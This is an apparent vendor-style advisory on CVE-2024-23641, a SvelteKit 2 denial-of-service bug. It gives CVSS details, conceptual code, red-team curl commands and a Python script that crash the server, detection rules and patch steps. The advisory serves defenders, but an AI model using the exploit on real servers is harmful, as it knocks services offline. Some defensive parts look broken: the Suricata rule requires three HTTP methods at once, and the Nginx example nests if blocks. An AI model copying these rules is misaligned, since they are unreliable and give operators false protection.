CVE-2024-23641

Executive Summary

CVE-2024-23641 is a Denial of Service (DoS) vulnerability affecting SvelteKit 2 applications. By sending a simple HTTP GET or TRACE request with a body (e.g., {}), an attacker can crash the application server, requiring a manual restart. This vulnerability is trivial to exploit and requires no authentication. The root cause is improper input validation in the request handling pipeline, where the Node.js HTTP server throws an unhandled exception when a GET/HEAD/TRACE request contains a body. The issue is patched in @sveltejs/kit version 2.4.3 and @sveltejs/adapter-node versions 2.1.2, 3.0.3, and 4.0.1. Prerendered pages and SvelteKit 1 applications are not affected.

Supply Chain & Package Security

This vulnerability resides in the @sveltejs/kit and @sveltejs/adapter-node packages distributed via npm. Organizations using SvelteKit 2 should immediately audit their package.json and package-lock.json files to ensure they are not depending on vulnerable versions. The supply chain risk is moderate, as the exploit is trivial and the package is widely used in the Svelte ecosystem. Developers should pin exact versions and use automated dependency scanning tools (e.g., Dependabot, Snyk) to detect vulnerable versions.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of availability (application crash).

Threat Level: High. The exploit is trivial, requires no authentication, and results in a complete denial of service. The EPSS score of 0.0% indicates low exploitation likelihood in the wild, but the ease of exploitation makes it a prime target for automated scanning and targeted attacks.

Deep Dive & Mechanics

The vulnerability lies in how SvelteKit's Node.js adapter handles incoming HTTP requests. The Node.js HTTP server, by default, throws an error when a GET, HEAD, or TRACE request contains a body. This error is not caught by SvelteKit's request handler, causing the entire application to crash.

Technical Flow:

1. An attacker sends an HTTP GET request with a Content-Type header and a body (e.g., {}).
2. The Node.js HTTP server receives the request and attempts to parse the body.
3. The Node.js HTTP parser throws an error: Request with GET/HEAD method cannot have body.
4. This error propagates up the call stack and is not caught by SvelteKit's error handling middleware.
5. The Node.js process crashes, taking down the entire application.
6. The application remains down until manually restarted.

Affected Components:

• @sveltejs/kit versions < 2.4.3
• @sveltejs/adapter-node versions < 2.1.2 (v2), < 3.0.3 (v3), < 4.0.1 (v4)

Not Affected:

• SvelteKit 1.x applications
• Prerendered pages (static output)
• Applications using other adapters (e.g., adapter-vercel, adapter-netlify) that handle body parsing differently

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code does not explicitly check for request body on GET/HEAD/TRACE methods before passing the request to the Node.js HTTP server.

// In @sveltejs/adapter-node (vulnerable)
// The request is passed directly to the Node.js server without validation
const server = http.createServer((req, res) => {
    // No check for body on GET/HEAD/TRACE
    handleRequest(req, res);
});

Patched Code (Conceptual): The patched code adds a check to reject requests with a body for methods that do not support it.

// In @sveltejs/adapter-node (patched)
const server = http.createServer((req, res) => {
    // Check if method is GET, HEAD, or TRACE and has a body
    if (['GET', 'HEAD', 'TRACE'].includes(req.method) && req.headers['content-length']) {
        res.writeHead(400);
        res.end('Bad Request: GET/HEAD/TRACE requests cannot have a body');
        return;
    }
    handleRequest(req, res);
});

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running SvelteKit 2 application using @sveltejs/adapter-node (vulnerable version).
• Network access to the target application.

Exploit Steps:

1. Identify a SvelteKit 2 application (e.g., by checking for SvelteKit-specific headers or behavior).
2. Send a crafted HTTP GET request with a body:

curl -X GET http://target.com/ -H "Content-Type: application/json" -d '{}'

3. Alternatively, use a TRACE request:

curl -X TRACE http://target.com/ -H "Content-Type: application/json" -d '{}'

4. The application will crash immediately. Verify by attempting to access the application again – it should be unresponsive.

Automated Exploit (Python):

import requests

target = "http://target.com/"
headers = {"Content-Type": "application/json"}
data = "{}"

try:
    response = requests.get(target, headers=headers, data=data, timeout=5)
    print(f"Response: {response.status_code}")
except requests.exceptions.ConnectionError:
    print("Application crashed successfully!")

Blue Team

Detection:

• Monitor for HTTP requests with a body on GET, HEAD, or TRACE methods.
• Look for sudden application crashes followed by no automatic recovery.
• Check application logs for the error: Request with GET/HEAD method cannot have body.

Prevention:

• Apply the patch immediately by updating to @sveltejs/kit >= 2.4.3 and @sveltejs/adapter-node >= 2.1.2, 3.0.3, or 4.0.1.
• Implement a reverse proxy (e.g., Nginx, HAProxy) to reject requests with a body on GET/HEAD/TRACE methods before they reach the application.
• Use a Web Application Firewall (WAF) to block such requests.

Nginx Rule Example:

if ($request_method ~ ^(GET|HEAD|TRACE)$) {
    if ($content_length > 0) {
        return 400;
    }
}

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET/HEAD/TRACE requests with a Content-Type header and a body (e.g., {}, {"key":"value"}).
  • Repeated connection attempts to a crashed application (timeouts or connection refused).
• Log IOCs:
  • Application logs containing: Request with GET/HEAD method cannot have body.
  • Node.js crash logs with stack traces pointing to _http_server.js or _http_outgoing.js.
• System IOCs:
  • Sudden termination of the Node.js process serving the SvelteKit application.
  • No automatic restart of the application (if not configured with a process manager like PM2).

Detection Engineering

YARA Rule

rule CVE_2024_23641_SvelteKit_DoS {
    meta:
        description = "Detects HTTP requests attempting to exploit CVE-2024-23641 in SvelteKit"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-23641"
        severity = "high"
    strings:
        $s1 = "GET" ascii nocase
        $s2 = "HEAD" ascii nocase
        $s3 = "TRACE" ascii nocase
        $s4 = "content-length" ascii nocase
        $s5 = "{" ascii
    condition:
        any of ($s1, $s2, $s3) and $s4 and $s5
}

Sigma Rule

title: CVE-2024-23641 SvelteKit DoS Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET/HEAD/TRACE requests with a body, indicating an attempt to exploit CVE-2024-23641
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23641
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method:
            - 'GET'
            - 'HEAD'
            - 'TRACE'
        http.content_length:
            - '>0'
    condition: selection
falsepositives:
    - Legitimate API calls using GET with a body (rare, non-standard)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23641 SvelteKit DoS Exploitation Attempt"; flow:to_server; http.method; content:"GET"; nocase; http.method; content:"HEAD"; nocase; http.method; content:"TRACE"; nocase; http.request_body; content:"{"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update @sveltejs/kit to version 2.4.3 or later, and @sveltejs/adapter-node to version 2.1.2, 3.0.3, or 4.0.1 (depending on your major version).

   npm install @sveltejs/kit@latest @sveltejs/adapter-node@latest
   

2. Restart: After updating, restart the application to ensure the patched code is loaded.

Compensating Controls (if patching is not immediately possible):

1. Reverse Proxy Filtering: Configure Nginx, Apache, or HAProxy to reject GET/HEAD/TRACE requests with a body.
   • Nginx example:

     if ($request_method ~ ^(GET|HEAD|TRACE)$) {
         if ($content_length > 0) {
             return 400;
         }
     }
     

2. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity, Cloudflare) with rules to block requests with a body on GET/HEAD/TRACE methods.
3. Process Monitoring: Use a process manager (e.g., PM2, systemd) to automatically restart the application if it crashes.
   • PM2 example:

     pm2 start app.js --name sveltekit-app --watch
     

4. Network Segmentation: Restrict network access to the application to trusted IPs only.

Long-Term Recommendations:

• Implement robust input validation for all HTTP methods.
• Use a centralized error handling middleware that catches unhandled exceptions.
• Regularly update dependencies and monitor for security advisories.
• Conduct penetration testing focusing on DoS vulnerabilities.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert